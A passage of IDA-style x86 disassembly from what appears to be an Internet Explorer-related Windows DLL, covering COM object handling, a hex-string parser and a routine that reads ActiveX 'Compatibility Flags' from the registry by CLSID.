		call	sub_69B8A163
		mov	ecx, [ebx]
		push	eax
		mov	[ebp+var_14], eax
		call	sub_69B1980A
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B719EA
		push	eax
		push	4
		call	sub_69B8A458
		mov	ecx, [ebx]
		mov	edi, eax
		push	edi
		push	[ebp+var_14]
		call	sub_69B3182D


loc_69B719EA:				; CODE XREF: sub_69B71927+ACj
		push	[ebp+var_18]
		mov	ecx, edi
		call	sub_69B8A35C
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1C]
		jl	short loc_69B719B9


loc_69B719FF:				; CODE XREF: sub_69B71927+90j
		push	[ebp+var_8]
		mov	ecx, [esi+18h]
		call	sub_69B1A954
		push	0
		push	eax
		call	sub_69B17320
		dec	dword ptr [esi+1Ch]


loc_69B71A15:				; CODE XREF: sub_69B71927+88j
		mov	ecx, [ebp+var_C]
		call	sub_69B8A208


loc_69B71A1D:				; CODE XREF: sub_69B71927+4Dj
		inc	[ebp+var_8]
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_10]
		jl	loc_69B7195F


loc_69B71A2C:				; CODE XREF: sub_69B71927+32j
		mov	edi, [esi+1Ch]
		cmp	[ebp+var_10], edi
		jz	short loc_69B71A9F
		test	edi, edi
		jz	short loc_69B71A97
		lea	eax, ds:10h[edi*4]
		push	eax
		call	sub_69B17EF3
		mov	ebx, eax
		mov	ecx, ebx
		mov	[ebx+8], edi
		call	sub_69B19118
		xor	eax, eax
		mov	dword ptr [ebx], offset	off_69B1EE00
		cmp	[esi+1Ch], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		jle	short loc_69B71A94


loc_69B71A64:				; CODE XREF: sub_69B71927+16Bj
		push	[ebp+var_8]
		mov	ecx, [esi+18h]
		call	sub_69B1A954
		mov	edi, [eax]
		inc	[ebp+var_8]
		test	edi, edi
		jz	short loc_69B71A8C
		push	[ebp+var_4]
		mov	ecx, ebx
		call	sub_69B1A954
		inc	[ebp+var_4]
		push	edi
		push	eax
		call	sub_69B17320


loc_69B71A8C:				; CODE XREF: sub_69B71927+14Fj
		mov	eax, [ebp+var_4]
		cmp	eax, [esi+1Ch]
		jl	short loc_69B71A64


loc_69B71A94:				; CODE XREF: sub_69B71927+13Bj
		push	ebx
		jmp	short loc_69B71A99
; ---------------------------------------------------------------------------


loc_69B71A97:				; CODE XREF: sub_69B71927+10Fj
		push	0


loc_69B71A99:				; CODE XREF: sub_69B71927+16Ej
		add	esi, 18h
		push	esi
		jmp	short loc_69B71AA2
; ---------------------------------------------------------------------------


loc_69B71A9F:				; CODE XREF: sub_69B71927+10Bj
		push	0
		push	ebx


loc_69B71AA2:				; CODE XREF: sub_69B71927+176j
		call	sub_69B17320
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B71927	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B71AAC	proc near		; DATA XREF: .text:69B1606Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B71AC7
		test	[esp+4+arg_0], 1
		jz	short loc_69B71AC1
		push	esi
		call	sub_69B1829F


loc_69B71AC1:				; CODE XREF: sub_69B71AAC+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B71AAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B71AC7	proc near		; CODE XREF: sub_69B71AAC+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B2DEDD
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B2DEDD
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B71AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B71AFF	proc near		; CODE XREF: sub_69B6F3D1+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B16020 SIZE 0000003F BYTES

		push	24h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B71B11
		mov	ecx, eax
		jmp	loc_69B16020
; ---------------------------------------------------------------------------


loc_69B71B11:				; CODE XREF: sub_69B71AFF+9j
		xor	eax, eax
		retn	8
sub_69B71AFF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B71B16	proc near		; CODE XREF: sub_69B6E969+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		cmp	dword ptr [edi+0A8h], 2
		mov	esi, ecx
		jnz	short loc_69B71B3C
		mov	ecx, [esi+0Ch]
		push	edi
		call	sub_69B723DF
		push	eax
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B2DEB2
		jmp	short loc_69B71B5D
; ---------------------------------------------------------------------------


loc_69B71B3C:				; CODE XREF: sub_69B71B16+Fj
		mov	eax, [esi+1Ch]
		cmp	eax, 1
		jle	short loc_69B71B5D
		push	offset sub_69B716D1
		push	4
		push	eax
		mov	eax, [esi+18h]
		add	eax, 0Ch
		push	eax
		push	0
		call	sub_69B6DBB2
		add	esp, 14h


loc_69B71B5D:				; CODE XREF: sub_69B71B16+24j
					; sub_69B71B16+2Cj
		mov	eax, [esi+1Ch]
		cmp	eax, 10h
		jl	short loc_69B71B8F
		cmp	dword ptr [edi+0A8h], 2
		jz	short loc_69B71B88
		xor	edi, edi
		test	eax, eax
		jle	short loc_69B71B88


loc_69B71B74:				; CODE XREF: sub_69B71B16+70j
		mov	ecx, [esi+18h]
		push	edi
		call	sub_69B1A954
		mov	eax, [eax]
		mov	[eax+40h], edi
		inc	edi
		cmp	edi, [esi+1Ch]
		jl	short loc_69B71B74


loc_69B71B88:				; CODE XREF: sub_69B71B16+56j
					; sub_69B71B16+5Cj
		mov	ecx, esi
		call	sub_69B71927


loc_69B71B8F:				; CODE XREF: sub_69B71B16+4Dj
		pop	edi
		pop	esi
		retn	4
sub_69B71B16	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B71B94	proc near		; DATA XREF: .text:69B21D20o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, ecx
		xor	ecx, ecx
		sub	eax, ecx
		jz	short loc_69B71BDE
		dec	eax
		dec	eax
		jz	short loc_69B71BFA
		dec	eax
		jnz	short loc_69B71BD9


loc_69B71BAD:				; CODE XREF: sub_69B71B94+69j
		mov	eax, [esi+20h]
		mov	dword ptr [eax+0Ch], 2
		mov	eax, [edi+18h]
		xor	edx, edx
		cmp	eax, ecx
		setz	dl
		push	ecx
		push	edx
		push	2


loc_69B71BC5:				; CODE XREF: sub_69B71B94+6Fj
		mov	ecx, esi
		call	sub_69B6F0B5
		cmp	eax, 1
		jnz	short loc_69B71BD9
		push	esi
		mov	ecx, edi
		call	sub_69B725AD


loc_69B71BD9:				; CODE XREF: sub_69B71B94+17j
					; sub_69B71B94+3Bj
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_69B71BDE:				; CODE XREF: sub_69B71B94+10j
		mov	eax, [esi+28h]
		push	dword ptr [eax+18h]
		lea	eax, [esi+10h]
		push	eax
		mov	ecx, edi
		call	sub_69B73094
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_69B72316
		xor	ecx, ecx


loc_69B71BFA:				; CODE XREF: sub_69B71B94+14j
		cmp	[edi+18h], ecx
		jz	short loc_69B71BAD
		push	ecx
		push	1
		push	ecx
		jmp	short loc_69B71BC5
sub_69B71B94	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B71C05	proc near		; CODE XREF: sub_69B6EDDE+C9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B21CB4 SIZE 0000002F BYTES

		push	30h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B71C17
		mov	ecx, eax
		jmp	loc_69B21CB4
; ---------------------------------------------------------------------------


loc_69B71C17:				; CODE XREF: sub_69B71C05+9j
		xor	eax, eax
		retn	8
sub_69B71C05	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B71C1C	proc near		; DATA XREF: .text:69B21D24o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		mov	esi, ecx
		mov	edi, [esi+0Ch]
		call	sub_69B73078
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	ecx, ebx
		mov	[ebp+var_4], eax
		call	sub_69B6F483
		push	[ebp+arg_4]
		mov	ecx, esi
		push	edi
		push	ebx
		call	sub_69B725C0
		test	al, al
		jnz	short loc_69B71C83
		push	[ebp+var_4]
		mov	ecx, esi
		push	edi
		push	ebx
		call	sub_69B7267F
		cmp	dword ptr [ebx+0A8h], 2
		jnz	short loc_69B71C6B
		push	edi
		mov	ecx, ebx
		call	sub_69B6F192


loc_69B71C6B:				; CODE XREF: sub_69B71C1C+45j
		push	dword_69B95A0C
		mov	ecx, esi
		push	ebx
		call	sub_69B7238E
		push	eax
		add	esi, 14h
		push	esi
		call	sub_69B2DEB2


loc_69B71C83:				; CODE XREF: sub_69B71C1C+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B71C1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B71C8A	proc near		; CODE XREF: sub_69B71C97+Dp
					; sub_69B71CE8:loc_69B71D21p ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_69B71C96
		mov	eax, dword_69B9B678

locret_69B71C96:			; CODE XREF: sub_69B71C8A+5j
		retn
sub_69B71C8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B71C97	proc near		; DATA XREF: .text:69B141F4o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		cmp	[ecx+19h], dl
		jz	short loc_69B71CBD
		call	sub_69B71C8A
		push	[ebp+arg_C]
		mov	edx, [eax]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [ecx+14h]
		push	eax
		call	dword ptr [edx+18h]
		jmp	short loc_69B71CE4
; ---------------------------------------------------------------------------


loc_69B71CBD:				; CODE XREF: sub_69B71C97+Bj
		cmp	[ecx+18h], dl
		jnz	short loc_69B71CDF
		mov	ecx, [ebp+arg_4]
		cmp	ecx, edx
		jz	short loc_69B71CD8
		mov	eax, [ebp+arg_8]
		cmp	[eax], edx
		jz	short loc_69B71CD8
		mov	[eax], edx
		mov	[ecx], dl
		xor	eax, eax
		jmp	short loc_69B71CE4
; ---------------------------------------------------------------------------


loc_69B71CD8:				; CODE XREF: sub_69B71C97+30j
					; sub_69B71C97+37j
		mov	eax, 80070057h
		jmp	short loc_69B71CE4
; ---------------------------------------------------------------------------


loc_69B71CDF:				; CODE XREF: sub_69B71C97+29j
		mov	eax, 80004005h


loc_69B71CE4:				; CODE XREF: sub_69B71C97+24j
					; sub_69B71C97+3Fj ...
		pop	ebp
		retn	10h
sub_69B71C97	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B71CE8	proc near		; DATA XREF: .text:69B141F8o

var_44		= byte ptr -44h
var_24		= byte ptr -24h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		mov	ecx, [ebp+arg_0]
		cmp	byte ptr [ecx+19h], 0
		mov	[ebp+var_4], eax
		jz	short loc_69B71D44
		push	esi
		mov	esi, [ebp+arg_8]
		test	esi, esi
		push	edi
		push	20h
		pop	eax
		jnz	short loc_69B71D14
		lea	esi, [ebp+var_24]
		mov	[ebp+arg_C], eax


loc_69B71D14:				; CODE XREF: sub_69B71CE8+24j
		mov	edx, [ebp+arg_10]
		test	edx, edx
		jnz	short loc_69B71D21
		lea	edx, [ebp+var_44]
		mov	[ebp+arg_14], eax


loc_69B71D21:				; CODE XREF: sub_69B71CE8+31j
		call	sub_69B71C8A
		push	[ebp+arg_1C]
		mov	edi, [eax]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	edx
		push	[ebp+arg_C]
		push	esi
		push	[ebp+arg_4]
		push	dword ptr [ecx+14h]
		push	eax
		call	dword ptr [edi+1Ch]
		pop	edi
		pop	esi
		jmp	short loc_69B71D70
; ---------------------------------------------------------------------------


loc_69B71D44:				; CODE XREF: sub_69B71CE8+18j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jnz	short loc_69B71D52
		mov	eax, 80004003h
		jmp	short loc_69B71D70
; ---------------------------------------------------------------------------


loc_69B71D52:				; CODE XREF: sub_69B71CE8+61j
		cmp	[ebp+arg_C], 4
		mov	byte ptr [eax],	0
		jnb	short loc_69B71D62
		mov	eax, 80070057h
		jmp	short loc_69B71D70
; ---------------------------------------------------------------------------


loc_69B71D62:				; CODE XREF: sub_69B71CE8+71j
		mov	cl, [ecx+18h]
		neg	cl
		sbb	ecx, ecx
		and	ecx, 3
		mov	[eax], ecx
		xor	eax, eax


loc_69B71D70:				; CODE XREF: sub_69B71CE8+5Aj
					; sub_69B71CE8+68j ...
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		call	sub_69B1B9F6
		leave
		retn	20h
sub_69B71CE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B71D7F	proc near		; CODE XREF: sub_69B71F04+C9p
					; sub_69B720D9+CDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	4
		lea	edx, [ebp+arg_4]
		push	edx
		push	[ebp+arg_0]
		mov	[esi], bl
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+10h]
		cmp	eax, 1
		jnz	short loc_69B71DA5
		xor	eax, eax


loc_69B71DA5:				; CODE XREF: sub_69B71D7F+22j
		cmp	eax, ebx
		jl	short loc_69B71DB7
		mov	ecx, [ebp+arg_4]
		and	cl, 0Fh
		neg	cl
		sbb	cl, cl
		inc	cl
		mov	[esi], cl


loc_69B71DB7:				; CODE XREF: sub_69B71D7F+28j
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_69B71D7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B71DBD	proc near		; CODE XREF: sub_69B71E06+B7p
		xor	eax, eax


loc_69B71DBF:				; CODE XREF: sub_69B71DBD+46j
		mov	cx, [edx]
		inc	edx
		inc	edx
		cmp	cx, 41h
		jb	short loc_69B71DD8
		cmp	cx, 46h
		ja	short loc_69B71DD8
		movzx	ecx, cx
		sub	ecx, 37h
		jmp	short loc_69B71DFE
; ---------------------------------------------------------------------------


loc_69B71DD8:				; CODE XREF: sub_69B71DBD+Bj
					; sub_69B71DBD+11j
		cmp	cx, 61h
		jb	short loc_69B71DEC
		cmp	cx, 66h
		ja	short loc_69B71DEC
		movzx	ecx, cx
		sub	ecx, 57h
		jmp	short loc_69B71DFE
; ---------------------------------------------------------------------------


loc_69B71DEC:				; CODE XREF: sub_69B71DBD+1Fj
					; sub_69B71DBD+25j
		cmp	cx, 30h
		jb	short locret_69B71E05
		cmp	cx, 39h
		ja	short locret_69B71E05
		movzx	ecx, cx
		sub	ecx, 30h


loc_69B71DFE:				; CODE XREF: sub_69B71DBD+19j
					; sub_69B71DBD+2Dj
		shl	eax, 4
		add	eax, ecx
		jmp	short loc_69B71DBF
; ---------------------------------------------------------------------------

locret_69B71E05:			; CODE XREF: sub_69B71DBD+33j
					; sub_69B71DBD+39j
		retn
sub_69B71DBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B71E06(CLSID *rclsid, int)

sub_69B71E06	proc near		; CODE XREF: sub_69B71F04+51p

var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
pv		= dword	ptr -10h
var_C		= dword	ptr -0Ch
hKey		= dword	ptr -8
var_4		= dword	ptr -4
rclsid		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	esi, ds:SHLWAPI_125
		xor	ebx, ebx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[eax], ebx
		lea	eax, [ebp+var_C]
		push	eax
		mov	edi, 20019h
		push	edi
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Internet	Explorer\\Ac"...
		push	80000002h
		mov	[ebp+var_C], ebx
		mov	[ebp+hKey], ebx
		mov	[ebp+pv], ebx
		call	esi ; SHLWAPI_125
		test	eax, eax
		jz	short loc_69B71E54


loc_69B71E4B:				; CODE XREF: sub_69B71E06+72j
					; sub_69B71E06+9Bj
		mov	[ebp+rclsid], 1
		jmp	short loc_69B71EC7
; ---------------------------------------------------------------------------


loc_69B71E54:				; CODE XREF: sub_69B71E06+43j
		lea	eax, [ebp+pv]
		push	eax		; lplpsz
		push	[ebp+rclsid]	; rclsid
		call	ds:StringFromCLSID
		cmp	eax, ebx
		mov	[ebp+rclsid], eax
		jl	short loc_69B71EC7
		lea	eax, [ebp+hKey]
		push	eax
		push	edi
		push	ebx
		push	[ebp+pv]
		push	[ebp+var_C]
		call	esi ; SHLWAPI_125
		test	eax, eax
		jnz	short loc_69B71E4B
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		push	offset aCompatibilityF ; "Compatibility	Flags"
		push	[ebp+hKey]
		mov	[ebp+var_18], 18h
		call	ds:SHLWAPI_128
		cmp	eax, ebx
		mov	[ebp+rclsid], eax
		jnz	short loc_69B71E4B
		cmp	[ebp+var_14], 4
		jnz	short loc_69B71EAE
		mov	eax, [ebp+var_30]
		jmp	short loc_69B71EC2
; ---------------------------------------------------------------------------


loc_69B71EAE:				; CODE XREF: sub_69B71E06+A1j
		cmp	[ebp+var_14], 1
		jnz	short loc_69B71EC7
		cmp	[ebp+var_18], 2
		jbe	short loc_69B71EC7
		lea	edx, [ebp+var_2C]
		call	sub_69B71DBD


loc_69B71EC2:				; CODE XREF: sub_69B71E06+A6j
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax


loc_69B71EC7:				; CODE XREF: sub_69B71E06+4Cj
					; sub_69B71E06+60j ...
		cmp	[ebp+hKey], ebx
		mov	esi, RegCloseKey
		jz	short loc_69B71ED7
		push	[ebp+hKey]	; hKey
		call	esi ; RegCloseKey


loc_69B71ED7:				; CODE XREF: sub_69B71E06+CAj
		cmp	[ebp+var_C], ebx
		jz	short loc_69B71EE1
		push	[ebp+var_C]	; hKey
		call	esi ; RegCloseKey


loc_69B71EE1:				; CODE XREF: sub_69B71E06+D4j
		cmp	[ebp+pv], ebx
		pop	edi
		pop	esi
		pop	ebx
		jz	short loc_69B71EF2
		push	[ebp+pv]	; pv
		call	ds:CoTaskMemFree


loc_69B71EF2:				; CODE XREF: sub_69B71E06+E1j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		mov	eax, [ebp+rclsid]
		call	sub_69B1B9F6
		leave
		retn	8
sub_69B71E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B71F04(int, int, CLSID rclsid, int)

sub_69B71F04	proc near		; CODE XREF: sub_69B720D9+F4p

var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
rclsid		= CLSID	ptr  10h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_69B2AFB0
		lea	edi, [ebp+var_24]
		movsd
		movsd
		movsd
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		xor	ebx, ebx
		movsd
		xor	esi, esi
		xor	edi, edi
		dec	eax
		mov	[ebp+var_14], ecx
		mov	[ebp+var_5], bl
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		jnz	short loc_69B71F4D
		mov	esi, offset loc_69B72038
		lea	edi, [ebp+var_24]
		movsd
		movsd
		movsd
		movsd
		xor	edi, edi
		inc	edi
		mov	esi, edi


loc_69B71F4D:				; CODE XREF: sub_69B71F04+36j
		lea	eax, [ebp+var_10]
		push	eax		; int
		lea	eax, [ebp+rclsid]
		push	eax		; rclsid
		call	sub_69B71E06
		test	eax, eax
		jl	loc_69B72016
		test	byte ptr [ebp+var_10+1], 4
		jnz	loc_69B72016
		test	byte ptr [ebp+var_10], 2
		jnz	loc_69B72007
		mov	eax, [ebp+arg_18]
		mov	ecx, [eax]
		lea	edx, [ebp+var_C]
		push	edx
		push	offset dword_69B2B110
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_69B71FD4
		mov	eax, [ebp+var_C]
		cmp	eax, ebx
		jz	short loc_69B71FD4
		cmp	[ebp+arg_0], 1
		jnz	short loc_69B71FAC
		mov	ecx, [eax]
		push	edi
		push	esi
		push	offset dword_69B2B050
		push	eax
		call	dword ptr [ecx+10h]
		cmp	eax, ebx
		jge	short loc_69B71FC1
		mov	eax, [ebp+var_C]


loc_69B71FAC:				; CODE XREF: sub_69B71F04+92j
		mov	ecx, [eax]
		push	edi
		push	esi
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+10h]
		cmp	eax, ebx
		jl	short loc_69B72007


loc_69B71FBB:				; CODE XREF: sub_69B71F04+101j
		cmp	[ebp+arg_0], 1


loc_69B71FBF:				; CODE XREF: sub_69B71F04+137j
		jnz	short loc_69B72012


loc_69B71FC1:				; CODE XREF: sub_69B71F04+A3j
		lea	eax, [ebp+var_5]
		push	eax
		push	1405h


loc_69B71FCA:				; CODE XREF: sub_69B71F04+10Cj
		mov	ecx, [ebp+var_14]
		call	sub_69B71D7F
		jmp	short loc_69B72016
; ---------------------------------------------------------------------------


loc_69B71FD4:				; CODE XREF: sub_69B71F04+85j
					; sub_69B71F04+8Cj
		push	offset dword_69B9B67C ;	ppv
		call	sub_69B2C785
		test	eax, eax
		jnz	short loc_69B72016
		mov	eax, dword_69B9B67C
		lea	esi, [ebp+var_24]
		lea	edi, [ebp+var_34]
		movsd
		push	ebx
		movsd
		push	ebx
		lea	edx, [ebp+var_34]
		push	edx
		movsd
		push	1
		lea	edx, [ebp+rclsid]
		push	edx
		movsd
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+18h]
		test	eax, eax
		jz	short loc_69B71FBB


loc_69B72007:				; CODE XREF: sub_69B71F04+6Cj
					; sub_69B71F04+B5j
		lea	eax, [ebp+var_5]
		push	eax
		push	1204h
		jmp	short loc_69B71FCA
; ---------------------------------------------------------------------------


loc_69B72012:				; CODE XREF: sub_69B71F04:loc_69B71FBFj
		mov	[ebp+var_5], 1


loc_69B72016:				; CODE XREF: sub_69B71F04+58j
					; sub_69B71F04+62j ...
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		cmp	eax, ebx
		pop	ebx
		jz	short loc_69B72026
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B72026:				; CODE XREF: sub_69B71F04+11Aj
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		mov	al, [ebp+var_5]
		call	sub_69B1B9F6
		leave
		retn	1Ch
; ---------------------------------------------------------------------------


loc_69B72038:				; DATA XREF: sub_69B71F04+38o
		add	[eax-27h], ebx
		jge	short loc_69B71FBF
		cwde
		iret
sub_69B71F04	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 11h
		dd 0AA00A99Fh, 0C4426C00h

; =============== S U B	R O U T	I N E =======================================



sub_69B72048	proc near		; CODE XREF: sub_69B72281+3p
		push	esi
		mov	esi, ecx
		mov	eax, [esi+0Ch]
		test	eax, eax
		mov	dword ptr [esi-4], offset off_69B141E8
		mov	dword ptr [esi], offset	off_69B2A4E8
		jz	short loc_69B72065
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B72065:				; CODE XREF: sub_69B72048+15j
		push	dword ptr [esi+10h] ; BSTR
		call	SysFreeString
		pop	esi
		jmp	sub_69B2C65C
sub_69B72048	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B72074	proc near		; CODE XREF: sub_69B6F543+A4p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	esi, ecx
		lea	eax, [esi+10h]
		push	eax
		xor	edi, edi
		call	sub_69B17320
		cmp	dword_69B9B678,	edi
		jnz	short loc_69B7209F
		push	offset dword_69B9B678 ;	ppv
		call	sub_69B2C72C
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B720D2


loc_69B7209F:				; CODE XREF: sub_69B72074+19j
		cmp	[esp+8+arg_0], 0
		mov	cl, [esp+8+arg_4]
		setnz	al
		test	al, al
		mov	[esi+19h], al
		mov	[esi+18h], cl
		jz	short loc_69B720D2
		mov	eax, [esp+8+arg_8]
		push	dword ptr [eax+8] ; UINT
		mov	ecx, [eax+0Ch]
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		test	eax, eax
		mov	[esi+14h], eax
		jnz	short loc_69B720D2
		mov	edi, 8007000Eh


loc_69B720D2:				; CODE XREF: sub_69B72074+29j
					; sub_69B72074+3Fj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn	0Ch
sub_69B72074	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B720D9	proc near		; DATA XREF: .text:69B141FCo

var_2C		= byte ptr -2Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		mov	[ebp+var_4], eax
		xor	eax, eax
		cmp	esi, eax
		push	edi
		mov	[ebp+var_8], eax
		jz	loc_69B72219
		mov	edx, [ebp+arg_C]
		cmp	edx, eax
		jz	loc_69B72219
		mov	ebx, [ebp+arg_0]
		mov	[esi], eax
		mov	[edx], eax
		cmp	[ebx+19h], al
		mov	[ebp+var_C], 3
		jz	loc_69B721E0
		cmp	[ebp+arg_10], eax
		jnz	short loc_69B72131
		lea	eax, [ebp+var_2C]
		mov	[ebp+arg_10], eax
		mov	[ebp+arg_14], 20h


loc_69B72131:				; CODE XREF: sub_69B720D9+49j
		mov	ecx, ebx
		call	sub_69B71C8A
		push	[ebp+arg_18]
		mov	ecx, [eax]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	edx
		push	esi
		mov	esi, [ebp+arg_4]
		push	esi
		push	dword ptr [ebx+14h]
		push	eax
		call	dword ptr [ecx+20h]
		cmp	eax, 800C0011h
		mov	[ebp+var_8], eax
		jz	short loc_69B72165
		cmp	eax, 80070490h
		jnz	loc_69B72214


loc_69B72165:				; CODE XREF: sub_69B720D9+7Fj
		push	4
		pop	ecx
		mov	edi, offset byte_69B72230
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B721EC
		cmp	[ebp+arg_14], 18h
		jz	short loc_69B72185
		mov	[ebp+var_8], 80070057h
		jmp	loc_69B72214
; ---------------------------------------------------------------------------


loc_69B72185:				; CODE XREF: sub_69B720D9+9Ej
		mov	esi, [ebp+arg_10]
		test	esi, esi
		jnz	short loc_69B72195
		mov	[ebp+var_8], 80004003h
		jmp	short loc_69B72214
; ---------------------------------------------------------------------------


loc_69B72195:				; CODE XREF: sub_69B720D9+B1j
		cmp	dword ptr [esi+10h], 0
		jz	short loc_69B72214
		lea	eax, [ebp+arg_10+3]
		push	eax
		push	1203h
		mov	ecx, ebx
		call	sub_69B71D7F
		test	eax, eax
		mov	[ebp+var_8], eax
		jl	short loc_69B72214
		cmp	byte ptr [ebp+arg_10+3], 0
		jnz	short loc_69B721D6
		push	dword ptr [esi+10h] ; int
		mov	ecx, ebx
		sub	esp, 10h
		mov	edi, esp
		movsd
		movsd
		movsd
		push	offset dword_69B2AFE0 ;	int
		push	1		; int
		movsd
		call	sub_69B71F04
		test	al, al
		jz	short loc_69B721DA


loc_69B721D6:				; CODE XREF: sub_69B720D9+DDj
		and	[ebp+var_C], 0


loc_69B721DA:				; CODE XREF: sub_69B720D9+FBj
		and	[ebp+var_8], 0
		jmp	short loc_69B721EC
; ---------------------------------------------------------------------------


